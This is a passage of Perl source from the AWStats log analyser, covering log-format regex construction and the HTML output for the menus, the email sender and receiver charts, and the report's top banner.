s/cs$User-Agent$/%ua/g; $LogFormatString =~ s/c-agent/%ua/g; $LogFormatString =~ s/cs$Referer$/%referer/g; $LogFormatString =~ s/cs-referred/%referer/g; $LogFormatString =~ s/sc-authenticated/%other/g; $LogFormatString =~ s/s-svcname/%other/g; $LogFormatString =~ s/s-computername/%other/g; $LogFormatString =~ s/r-host/%virtualname/g; $LogFormatString =~ s/cs-host/%virtualname/g; $LogFormatString =~ s/r-ip/%other/g; $LogFormatString =~ s/r-port/%other/g; $LogFormatString =~ s/time-taken/%other/g; $LogFormatString =~ s/cs-bytes/%other/g; $LogFormatString =~ s/cs-protocol/%other/g; $LogFormatString =~ s/cs-transport/%other/g; $LogFormatString =~ s/s-operation/%method/g; # GET, POST, SMTP, RETR STOR $LogFormatString =~ s/cs-mime-type/%other/g; $LogFormatString =~ s/s-object-source/%other/g; $LogFormatString =~ s/s-cache-info/%other/g; $LogFormatString =~ s/cluster-node/%cluster/g; $LogFormatString =~ s/s-sitename/%other/g; $LogFormatString =~ s/s-ip/%other/g; $LogFormatString =~ s/s-port/%other/g; $LogFormatString =~ s/cs$Cookie$/%other/g; $LogFormatString =~ s/sc-substatus/%other/g; $LogFormatString =~ s/sc-win32-status/%other/g; # Added for MMS $LogFormatString =~ s/protocol/%protocolmms/g; # cs-method might not be available $LogFormatString =~ s/c-status/%codemms/g; # c-status used when sc-status not available if ($Debug) { debug(" LogFormatString=$LogFormatString"); } # $LogFormatString has an AWStats format, so we can generate PerlParsingFormat variable my $i = 0; my $LogSeparatorWithoutStar = $LogSeparator; $LogSeparatorWithoutStar =~ s/[\*\+]//g; foreach my $f ( split( /\s+/, $LogFormatString ) ) { # Add separator for next field if ($PerlParsingFormat) { $PerlParsingFormat .= "$LogSeparator"; } # If field is prefixed with custom string, just push it to regex literally if ( $f =~ /^([^%]+)%/ ) { $PerlParsingFormat .= "$1" } # Special for logname if ( $f =~ /%lognamequot$/ ) { $pos_logname = $i; $i++; push @fieldlib, 'logname'; $PerlParsingFormat .= "\\\"?([^\\\"]*)\\\"?" ; # logname can be "value", "" and - in same log (Lotus notes) } elsif ( $f =~ /%logname$/ ) { $pos_logname = $i; $i++; push @fieldlib, 'logname'; # %u (user) is "([^\\/\\[]+)" instead of "[^$LogSeparatorWithoutStar]+" because can contain space (Lotus Notes). $PerlParsingFormat .= "([^\\/\\[]+)"; } # Date format elsif ( $f =~ /%time1$/ || $f =~ /%time1b$/ ) { # [dd/mmm/yyyy:hh:mm:ss +0000] or [dd/mmm/yyyy:hh:mm:ss], time1b kept for backward compatibility $pos_date = $i; $i++; push @fieldlib, 'date'; $pos_tz = $i; $i++; push @fieldlib, 'tz'; $PerlParsingFormat .= "\\[([^$LogSeparatorWithoutStar]+)( [^$LogSeparatorWithoutStar]+)?\\]"; } elsif ( $f =~ /%time2$/ ) { # yyyy-mm-dd hh:mm:ss $pos_date = $i; $i++; push @fieldlib, 'date'; $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+\\s[^$LogSeparatorWithoutStar]+)"; # Need \s for Exchange log files } elsif ( $f =~ /%time3$/ ) { # mon d hh:mm:ss or mon d hh:mm:ss or mon dd hh:mm:ss yyyy or day mon dd hh:mm:ss or day mon dd hh:mm:ss yyyy $pos_date = $i; $i++; push @fieldlib, 'date'; $PerlParsingFormat .= "(?:\\w\\w\\w )?(\\w\\w\\w \\s?\\d+ \\d\\d:\\d\\d:\\d\\d(?: \\d\\d\\d\\d)?)"; } elsif ( $f =~ /%time4$/ ) { # ddddddddddddd $pos_date = $i; $i++; push @fieldlib, 'date'; $PerlParsingFormat .= "(\\d+)"; } elsif ( $f =~ /%time5$/ ) { # Supports the following formats: # - yyyy-mm-ddThh:mm:ss (Incomplete ISO 8601) # - yyyy-mm-ddThh:mm:ssZ (ISO 8601, zero meridian) # - yyyy-mm-ddThh:mm:ss+00:00 (ISO 8601) # - yyyy-mm-ddThh:mm:ss+0000 (Apache's best approximation to ISO 8601 using "%{%Y-%m-%dT%H:%M:%S%z}t" in LogFormat) # - yyyy-mm-ddThh:mm:ss.000000Z (Amazon AWS log files) $pos_date = $i; $i++; push @fieldlib, 'date'; $pos_tz = $i; $i++; push @fieldlib, 'tz'; $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+T[^$LogSeparatorWithoutStar]+)(Z|[-+\.]\\d\\d[:\\.\\dZ]*)?"; } # Special for methodurl and methodurlnoprot elsif ( $f =~ /%methodurl$/ ) { $pos_method = $i; $i++; push @fieldlib, 'method'; $pos_url = $i; $i++; push @fieldlib, 'url'; $PerlParsingFormat .= #"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+) [^\\\"]+\\\""; "\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+)(?: [^\\\"]+|)\\\""; } elsif ( $f =~ /%methodurlnoprot$/ ) { $pos_method = $i; $i++; push @fieldlib, 'method'; $pos_url = $i; $i++; push @fieldlib, 'url'; $PerlParsingFormat .= "\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+)\\\""; } # Common command tags elsif ( $f =~ /%virtualnamequot$/ ) { $pos_vh = $i; $i++; push @fieldlib, 'vhost'; $PerlParsingFormat .= "\\\"([^$LogSeparatorWithoutStar]+)\\\""; } elsif ( $f =~ /%virtualname$/ ) { $pos_vh = $i; $i++; push @fieldlib, 'vhost'; $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; } elsif ( $f =~ /%host_r$/ ) { $pos_hostr = $i; $i++; push @fieldlib, 'hostr'; $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; } elsif ( $f =~ /%host$/ ) { $pos_host = $i; $i++; push @fieldlib, 'host'; $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; } elsif ( $f =~ /%host_proxy$/ ) { # if host_proxy tag used, host tag must not be used $pos_host = $i; $i++; push @fieldlib, 'host'; $PerlParsingFormat .= "(.+?)(?:, .*)*"; } elsif ( $f =~ /%method$/ ) { $pos_method = $i; $i++; push @fieldlib, 'method'; $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; } elsif ( $f =~ /%url$/ ) { $pos_url = $i; $i++; push @fieldlib, 'url'; $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; } elsif ( $f =~ /%query$/ ) { $pos_query = $i; $i++; push @fieldlib, 'query'; $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; } elsif ( $f =~ /%code$/ ) { $pos_code = $i; $i++; push @fieldlib, 'code'; $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; } elsif ( $f =~ /%bytesd$/ ) { $pos_size = $i; $i++; push @fieldlib, 'size'; $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; } elsif ( $f =~ /%refererquot$/ ) { $pos_referer = $i; $i++; push @fieldlib, 'referer'; $PerlParsingFormat .= "\\\"([^\\\"]*)\\\""; # referer might be "" } elsif ( $f =~ /%referer$/ ) { $pos_referer = $i; $i++; push @fieldlib, 'referer'; $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; } elsif ( $f =~ /%uaquot$/ ) { $pos_agent = $i; $i++; push @fieldlib, 'ua'; $PerlParsingFormat .= "\\\"([^\\\"]*)\\\""; # ua might be "" } elsif ( $f =~ /%uabracket$/ ) { $pos_agent = $i; $i++; push @fieldlib, 'ua'; $PerlParsingFormat .= "\\\[([^\\\]]*)\\\]"; # ua might be [] } elsif ( $f =~ /%ua$/ ) { $pos_agent = $i; $i++; push @fieldlib, 'ua'; $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; } elsif ( $f =~ /%gzipin$/ ) { $pos_gzipin = $i; $i++; push @fieldlib, 'gzipin'; $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; } elsif ( $f =~ /%gzipout/ ) { # Compare $f to /%gzipout/ and not to /%gzipout$/ like other fields $pos_gzipout = $i; $i++; push @fieldlib, 'gzipout'; $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; } elsif ( $f =~ /%gzipratio/ ) { # Compare $f to /%gzipratio/ and not to /%gzipratio$/ like other fields $pos_compratio = $i; $i++; push @fieldlib, 'gzipratio'; $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; } elsif ( $f =~ /%deflateratio/ ) { # Compare $f to /%deflateratio/ and not to /%deflateratio$/ like other fields $pos_compratio = $i; $i++; push @fieldlib, 'deflateratio'; $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; } elsif ( $f =~ /%email_r$/ ) { $pos_emailr = $i; $i++; push @fieldlib, 'email_r'; $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; } elsif ( $f =~ /%email$/ ) { $pos_emails = $i; $i++; push @fieldlib, 'email'; $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; } elsif ( $f =~ /%cluster$/ ) { $pos_cluster = $i; $i++; push @fieldlib, 'clusternb'; $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; } elsif ( $f =~ /%timetaken$/ ) { $pos_timetaken = $i; $i++; push @fieldlib, 'timetaken'; $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; } # Special for protocolmms, used for method if method not already found (for MMS) elsif ( $f =~ /%protocolmms$/ ) { if ( $pos_method < 0 ) { $pos_method = $i; $i++; push @fieldlib, 'method'; $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; } } # Special for codemms, used for code only if code not already found (for MMS) elsif ( $f =~ /%codemms$/ ) { if ( $pos_code < 0 ) { $pos_code = $i; $i++; push @fieldlib, 'code'; $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; } } # Extra tag elsif ( $f =~ /%extra(\d+)$/ ) { $pos_extra[$1] = $i; $i++; push @fieldlib, "extra$1"; $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; } # Other tag elsif ( $f =~ /%other$/ ) { $PerlParsingFormat .= "[^$LogSeparatorWithoutStar]+"; } elsif ( $f =~ /%otherquot$/ ) { $PerlParsingFormat .= "\\\"[^\\\"]*\\\""; } # Unknown tag (no parenthesis) else { $PerlParsingFormat .= "[^$LogSeparatorWithoutStar]+"; } } if ( !$PerlParsingFormat ) { error("No recognized format tag in personalized LogFormat string"); } } if ( $pos_host < 0 ) { error( "Your personalized LogFormat does not include all fields required by AWStats (Add \%host in your LogFormat string)." ); } if ( $pos_date < 0 ) { error( "Your personalized LogFormat does not include all fields required by AWStats (Add \%time1 or \%time2 in your LogFormat string)." ); } if ( $pos_method < 0 ) { error( "Your personalized LogFormat does not include all fields required by AWStats (Add \%methodurl or \%method in your LogFormat string)." ); } if ( $pos_url < 0 ) { error( "Your personalized LogFormat does not include all fields required by AWStats (Add \%methodurl or \%url in your LogFormat string)." ); } if ( $pos_code < 0 ) { error( "Your personalized LogFormat does not include all fields required by AWStats (Add \%code in your LogFormat string)." ); } # if ( $pos_size < 0 ) { # error( #"Your personalized LogFormat does not include all fields required by AWStats (Add \%bytesd in your LogFormat string)." # ); # } $PerlParsingFormat = qr/^$PerlParsingFormat/; if ($Debug) { debug(" PerlParsingFormat is $PerlParsingFormat"); } } #------------------------------------------------------------------------------ # Function: Prints a menu category for the frame or static header # Parameters: - # Input: $categ, $categtext, $categicon, $frame, $targetpage, $linkanchor, # $NewLinkParams, $NewLinkTarget # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLShowMenuCateg { my ( $categ, $categtext, $categicon, $frame, $targetpage, $linkanchor, $NewLinkParams, $NewLinkTarget ) = ( shift, shift, shift, shift, shift, shift, shift, shift ); $categicon = ''; # Comment this to enabme category icons my ( $menu, $menulink, $menutext ) = ( shift, shift, shift ); my $linetitle = 0; # Call to plugins' function AddHTMLMenuLink foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuLink'} } ) { # my $function="AddHTMLMenuLink_$pluginname('$categ',\$menu,\$menulink,\$menutext)"; # eval("$function"); my $function = "AddHTMLMenuLink_$pluginname"; &$function( $categ, $menu, $menulink, $menutext ); } foreach my $key (%$menu) { if ( $menu->{$key} && $menu->{$key} > 0 ) { $linetitle++; last; } } if ( !$linetitle ) { return; } # At least one entry in menu for this category, we can show category and entries my $WIDTHMENU1 = ( $FrameName eq 'mainleft' ? $FRAMEWIDTH : 150 ); print "<tr><td class=\"awsm\" width=\"$WIDTHMENU1\"" . ( $frame ? "" : " valign=\"top\"" ) . ">" . ( $categicon ? "<img src=\"$DirIcons/other/$categicon\" /> " : "" ) . "<b>$categtext:</b></td>\n"; print( $frame? "</tr>\n" : "<td class=\"awsm\">" ); foreach my $key ( sort { $menu->{$a} <=> $menu->{$b} } keys %$menu ) { if ( $menu->{$key} == 0 ) { next; } if ( $menulink->{$key} == 1 ) { print( $frame? "<tr><td class=\"awsm\">" : "" ); print "<a href=\"$linkanchor#$key\"$targetpage>$menutext->{$key}</a>"; print( $frame? "</td></tr>\n" : "   " ); } if ( $menulink->{$key} == 2 ) { print( $frame ? "<tr><td class=\"awsm\">   <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " : "" ); print "<a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}output=$key") : "$StaticLinks.$key.$StaticExt" ) . "\"$NewLinkTarget>$menutext->{$key}</a>\n"; print( $frame? "</td></tr>\n" : "   " ); } } print( $frame? "" : "</td></tr>\n" ); } #------------------------------------------------------------------------------ # Function: Prints HTML to display an email senders chart # Parameters: - # Input: $NewLinkParams, NewLinkTarget # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLShowEmailSendersChart { my $NewLinkParams = shift; my $NewLinkTarget = shift; my $MaxLengthOfShownEMail = 48; my $total_p; my $total_h; my $total_k; my $max_p; my $max_h; my $max_k; my $rest_p; my $rest_h; my $rest_k; # Show filter form #&ShowFormFilter("emailsfilter",$EmailsFilter); # Show emails list print "$Center<a name=\"emailsenders\"> </a><br />\n"; my $title; if ( $HTMLOutput{'allemails'} || $HTMLOutput{'lastemails'} ) { $title = "$Message[131]"; } else { $title = "$Message[131] ($Message[77] $MaxNbOf{'EMailsShown'})   -   <a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}output=allemails") : "$StaticLinks.allemails.$StaticExt" ) . "\"$NewLinkTarget>$Message[80]</a>"; if ( $ShowEMailSenders =~ /L/i ) { $title .= "   -   <a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}output=lastemails") : "$StaticLinks.lastemails.$StaticExt" ) . "\"$NewLinkTarget>$Message[9]</a>"; } } &tab_head( "$title", 19, 0, 'emailsenders' ); print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[131] : " . ( scalar keys %_emails_h ) . "</th>"; if ( $ShowEMailSenders =~ /H/i ) { print "<th rowspan=\"2\" bgcolor=\"#$color_h\" width=\"80\"" . Tooltip(4) . ">$Message[57]</th>"; } if ( $ShowEMailSenders =~ /B/i ) { print "<th class=\"datasize\" rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\"" . Tooltip(5) . ">$Message[75]</th>"; } if ( $ShowEMailSenders =~ /M/i ) { print "<th rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>"; } if ( $ShowEMailSenders =~ /L/i ) { print "<th rowspan=\"2\" width=\"120\">$Message[9]</th>"; } print "</tr>\n"; print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"30%\">Local</th><th> </th><th width=\"30%\">External</th></tr>"; $total_p = $total_h = $total_k = 0; $max_h = 1; foreach ( values %_emails_h ) { if ( $_ > $max_h ) { $max_h = $_; } } $max_k = 1; foreach ( values %_emails_k ) { if ( $_ > $max_k ) { $max_k = $_; } } my $count = 0; if ( !$HTMLOutput{'allemails'} && !$HTMLOutput{'lastemails'} ) { &BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emails_h, \%_emails_h ); } if ( $HTMLOutput{'allemails'} ) { &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emails_h, \%_emails_h ); } if ( $HTMLOutput{'lastemails'} ) { &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emails_h, \%_emails_l ); } foreach my $key (@keylist) { my $newkey = $key; if ( length($key) > $MaxLengthOfShownEMail ) { $newkey = substr( $key, 0, $MaxLengthOfShownEMail ) . "..."; } my $bredde_h = 0; my $bredde_k = 0; if ( $max_h > 0 ) { $bredde_h = int( $BarWidth * $_emails_h{$key} / $max_h ) + 1; } if ( $max_k > 0 ) { $bredde_k = int( $BarWidth * $_emails_k{$key} / $max_k ) + 1; } print "<tr>"; my $direction = IsLocalEMail($key); if ( $direction > 0 ) { print "<td class=\"aws\">$newkey</td><td>-></td><td> </td>"; } if ( $direction == 0 ) { print "<td colspan=\"3\"><span style=\"color: #$color_other\">$newkey</span></td>"; } if ( $direction < 0 ) { print "<td class=\"aws\"> </td><td><-</td><td>$newkey</td>"; } if ( $ShowEMailSenders =~ /H/i ) { print "<td>$_emails_h{$key}</td>"; } if ( $ShowEMailSenders =~ /B/i ) { print "<td nowrap=\"nowrap\">" . Format_Bytes( $_emails_k{$key} ) . "</td>"; } if ( $ShowEMailSenders =~ /M/i ) { print "<td nowrap=\"nowrap\">" . Format_Bytes( $_emails_k{$key} / ( $_emails_h{$key} || 1 ) ) . "</td>"; } if ( $ShowEMailSenders =~ /L/i ) { print "<td nowrap=\"nowrap\">" . ( $_emails_l{$key} ? Format_Date( $_emails_l{$key}, 1 ) : '-' ) . "</td>"; } print "</tr>\n"; #$total_p += $_emails_p{$key}; $total_h += $_emails_h{$key}; $total_k += $_emails_k{$key}; $count++; } $rest_p = 0; # $rest_p=$TotalPages-$total_p; $rest_h = $TotalHits - $total_h; $rest_k = $TotalBytes - $total_k; if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) { # All other sender emails print "<tr><td colspan=\"3\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; if ( $ShowEMailSenders =~ /H/i ) { print "<td>$rest_h</td>"; } if ( $ShowEMailSenders =~ /B/i ) { print "<td nowrap=\"nowrap\">" . Format_Bytes($rest_k) . "</td>"; } if ( $ShowEMailSenders =~ /M/i ) { print "<td nowrap=\"nowrap\">" . Format_Bytes( $rest_k / ( $rest_h || 1 ) ) . "</td>"; } if ( $ShowEMailSenders =~ /L/i ) { print "<td> </td>"; } print "</tr>\n"; } &tab_end(); } #------------------------------------------------------------------------------ # Function: Prints HTML to display an email receivers chart # Parameters: - # Input: $NewLinkParams, NewLinkTarget # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLShowEmailReceiversChart { my $NewLinkParams = shift; my $NewLinkTarget = shift; my $MaxLengthOfShownEMail = 48; my $total_p; my $total_h; my $total_k; my $max_p; my $max_h; my $max_k; my $rest_p; my $rest_h; my $rest_k; # Show filter form #&ShowFormFilter("emailrfilter",$EmailrFilter); # Show emails list print "$Center<a name=\"emailreceivers\"> </a><br />\n"; my $title; if ( $HTMLOutput{'allemailr'} || $HTMLOutput{'lastemailr'} ) { $title = "$Message[132]"; } else { $title = "$Message[132] ($Message[77] $MaxNbOf{'EMailsShown'})   -   <a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}output=allemailr") : "$StaticLinks.allemailr.$StaticExt" ) . "\"$NewLinkTarget>$Message[80]</a>"; if ( $ShowEMailReceivers =~ /L/i ) { $title .= "   -   <a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}output=lastemailr") : "$StaticLinks.lastemailr.$StaticExt" ) . "\"$NewLinkTarget>$Message[9]</a>"; } } &tab_head( "$title", 19, 0, 'emailreceivers' ); print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[132] : " . ( scalar keys %_emailr_h ) . "</th>"; if ( $ShowEMailReceivers =~ /H/i ) { print "<th rowspan=\"2\" bgcolor=\"#$color_h\" width=\"80\"" . Tooltip(4) . ">$Message[57]</th>"; } if ( $ShowEMailReceivers =~ /B/i ) { print "<th class=\"datasize\" rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\"" . Tooltip(5) . ">$Message[75]</th>"; } if ( $ShowEMailReceivers =~ /M/i ) { print "<th rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>"; } if ( $ShowEMailReceivers =~ /L/i ) { print "<th rowspan=\"2\" width=\"120\">$Message[9]</th>"; } print "</tr>\n"; print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"30%\">Local</th><th> </th><th width=\"30%\">External</th></tr>"; $total_p = $total_h = $total_k = 0; $max_h = 1; foreach ( values %_emailr_h ) { if ( $_ > $max_h ) { $max_h = $_; } } $max_k = 1; foreach ( values %_emailr_k ) { if ( $_ > $max_k ) { $max_k = $_; } } my $count = 0; if ( !$HTMLOutput{'allemailr'} && !$HTMLOutput{'lastemailr'} ) { &BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emailr_h, \%_emailr_h ); } if ( $HTMLOutput{'allemailr'} ) { &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emailr_h, \%_emailr_h ); } if ( $HTMLOutput{'lastemailr'} ) { &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emailr_h, \%_emailr_l ); } foreach my $key (@keylist) { my $newkey = $key; if ( length($key) > $MaxLengthOfShownEMail ) { $newkey = substr( $key, 0, $MaxLengthOfShownEMail ) . "..."; } my $bredde_h = 0; my $bredde_k = 0; if ( $max_h > 0 ) { $bredde_h = int( $BarWidth * $_emailr_h{$key} / $max_h ) + 1; } if ( $max_k > 0 ) { $bredde_k = int( $BarWidth * $_emailr_k{$key} / $max_k ) + 1; } print "<tr>"; my $direction = IsLocalEMail($key); if ( $direction > 0 ) { print "<td class=\"aws\">$newkey</td><td><-</td><td> </td>"; } if ( $direction == 0 ) { print "<td colspan=\"3\"><span style=\"color: #$color_other\">$newkey</span></td>"; } if ( $direction < 0 ) { print "<td class=\"aws\"> </td><td>-></td><td>$newkey</td>"; } if ( $ShowEMailReceivers =~ /H/i ) { print "<td>$_emailr_h{$key}</td>"; } if ( $ShowEMailReceivers =~ /B/i ) { print "<td nowrap=\"nowrap\">" . Format_Bytes( $_emailr_k{$key} ) . "</td>"; } if ( $ShowEMailReceivers =~ /M/i ) { print "<td nowrap=\"nowrap\">" . Format_Bytes( $_emailr_k{$key} / ( $_emailr_h{$key} || 1 ) ) . "</td>"; } if ( $ShowEMailReceivers =~ /L/i ) { print "<td nowrap=\"nowrap\">" . ( $_emailr_l{$key} ? Format_Date( $_emailr_l{$key}, 1 ) : '-' ) . "</td>"; } print "</tr>\n"; #$total_p += $_emailr_p{$key}; $total_h += $_emailr_h{$key}; $total_k += $_emailr_k{$key}; $count++; } $rest_p = 0; # $rest_p=$TotalPages-$total_p; $rest_h = $TotalHits - $total_h; $rest_k = $TotalBytes - $total_k; if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) { # All other receiver emails print "<tr><td colspan=\"3\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; if ( $ShowEMailReceivers =~ /H/i ) { print "<td>$rest_h</td>"; } if ( $ShowEMailReceivers =~ /B/i ) { print "<td nowrap=\"nowrap\">" . Format_Bytes($rest_k) . "</td>"; } if ( $ShowEMailReceivers =~ /M/i ) { print "<td nowrap=\"nowrap\">" . Format_Bytes( $rest_k / ( $rest_h || 1 ) ) . "</td>"; } if ( $ShowEMailReceivers =~ /L/i ) { print "<td> </td>"; } print "</tr>\n"; } &tab_end(); } #------------------------------------------------------------------------------ # Function: Prints the top banner of the inner frame or static page # Parameters: $WIDTHMENU1 # Input: _ # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLTopBanner{ my $WIDTHMENU1 = shift; my $frame = ( $FrameName eq 'mainleft' ); if ($Debug) { debug( "ShowTopBan", 2 ); } print "$Center<a name=\"menu\"> </a>\n"; if ( $FrameName ne 'mainleft' ) { my $NewLinkParams = ${QueryString}; $NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i; $NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i; $NewLinkParams =~ s/(^|&|&)year=[^&]*//i; $NewLinkParams =~ s/(^|&|&)month=[^&]*//i; $NewLinkParams =~ s/(^|&|&)framename=[^&]*//i; $NewLinkParams =~ s/(&|&)+/&/i; $NewLinkParams =~ s/^&//; $NewLinkParams =~ s/&$//; my $NewLinkTarget = ''; if ( $FrameName eq 'mainright' ) { $NewLinkTarget = " target=\"_parent\""; } print "<form name=\"FormDateFilter\" action=\"" . XMLEncode("$AWScript${NewLinkParams}") . "\" style=\"padding: 0px 0px 20px 0px; margin-top: 0\"$NewLinkTarget>\n"; } if ( $QueryString !~ /buildpdf/i ) { print "<table class=\"aws_border\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n"; print "<tr><td>\n"; print "<table class=\"aws_data sortable\" border=\"0\" cellpadding=\"1\" cellspacing=\"0\" width=\"100%\">\n"; } else { print "<table width=\"100%\">\n"; } if ( $FrameName ne 'mainright' ) { # Print Statistics Of if ( $FrameName eq 'mainleft' ) { my $shortSiteDomain = $SiteDomain; if ( length($SiteDomain) > 30 ) { $shortSiteDomain = substr( $SiteDomain, 0, 20 ) . "..." . substr( $SiteDomain, length($SiteDomain) - 5, 5 ); } print "<tr><td class=\"awsm\"><b>$Message[7]:</b></td></tr><tr><td class=\"aws\"><span style=\"font-size: 12px;\">$shortSiteDomain</span></td>"; } else { print "<tr><td class=\"aws\" valign=\"middle\"><b>$Message[7]:</b> </td><td class=\"aws\" valign=\"middle\"><span style=\"font-size: 14px;\">$SiteDomain</span></td>"; } # Logo and flags if ( $FrameName ne 'mainleft' ) { if ( $LogoLink =~ "http://www.awstats.org" ) { print "<td align=\"right\" rowspan=\"3\"><a href=\"" . XMLEncode($LogoLink) . "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\"" . AltTitle( ucfirst($PROG) . " Web Site" ) . " /></a>"; } else { print "<td align=\"right\" rowspan=\"3\"><a href=\"" . XMLEncode($LogoLink) . "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\" /></a>"; } if ( !$StaticLinks ) { print "<br />"; Show_Flag_Links($Lang); } print "</td>"; } print "</tr>\n"; } if ( $FrameName ne 'mainleft' ) { # Print Last Update print "<tr valign=\"middle\"><td class=\"aws\" valign=\"middle\" width=\"$WIDTHMENU1\"><b>$Message[35]:</b> </td>"; print "<td class=\"aws\" valign=\"middle\"><span style=\"font-size: 12px;\">"; if ($LastUpdate) { print Format_Date( $LastUpdate, 0 ); } else { # Here NbOfOldLines = 0 (because LastUpdate is not defined) if ( !$UpdateStats ) { print "<span style=\"color: #880000\">$Message[24]</span>"; } else { print "<span style=\"color: #880000\">No qualified records found in log ($NbOfLinesCorrupted corrupted, $NbOfLinesComment comments, $NbOfLinesBlank Blank, $NbOfLinesDropped dropped)</span>"; } } print "</span>"; # Print Update Now link if ( $AllowToUpdateStatsFromBrowser && !$StaticLinks ) { my $NewLinkParams = ${QueryString}; $NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i; $NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i; $NewLinkParams =~ s/(^|&|&)framename=[^&]*//i; if ( $FrameName eq 'mainright' ) { $NewLinkParams .= "&framename=mainright"; } $NewLinkParams =~ s/(&|&)+/&/i; $NewLinkParams =~ s/^&//; $NewLinkParams =~ s/&$//; if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; } print "       "; print "<a href=\"" . XMLEncode("$AWScript${NewLinkParams}update=1") . "\">$Message[74]</a>"; } print "</td>"; # Logo and flags if ( $FrameName eq 'mainright' ) { if ( $LogoLink =~ "http://www.awstats.org" ) { print "<td align=\"right\" rowspan=\"2\"><a href=\"" . XMLEncode($LogoLink) . "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\"" . AltTitle( ucfirst($PROG) . " Web Site" ) . " /></a>\n"; } else { print "<td align=\"right\" rowspan=\"2\"><a href=\"" . XMLEncode($LogoLink) . "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\" /></a>\n"; } if ( !$StaticLinks ) { print "<br />"; Show_Flag_Links($Lang); } print "</td>"; } print "</tr>\n"; # Print selected period of analysis (month and year required) print "<tr><td class=\"aws\" valign=\"middle\"><b>$Message[133]:</b></td>"; print "<td class=\"aws\" valign=\"middle\">"; if ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ) { print "<select class=\"aws_formfield\" name=\"month\">\n"; foreach ( 1 .. 12 ) { my $monthix = sprintf( "%02s", $_ ); print "<option" . ( "$MonthRequired" eq "$monthix" ? " selected=\"selected\"" : "" ) . " value=\"$monthix\">$MonthNumLib{$monthix}</option>\n"; } if ( $AllowFullYearView >= 2 ) { print "<option" . ( $MonthRequired eq 'all' ? " selected=\"selected\"" : "" ) . " value=\"all\">- $Message[6] -</option>\n"; } print "</select>\n"; print "<select class=\"aws_formfield\" name=\"year\">\n"; # Add YearRequired in list if not in ListOfYears $ListOfYears{$YearRequired} ||= $MonthRequired; foreach ( sort keys %ListOfYears ) { print "<option" . ( $YearRequired eq "$_" ? " selected=\"selected\"" : "" ) . " value=\"$_\">$_</option>\n"; } print "</select>\n"; 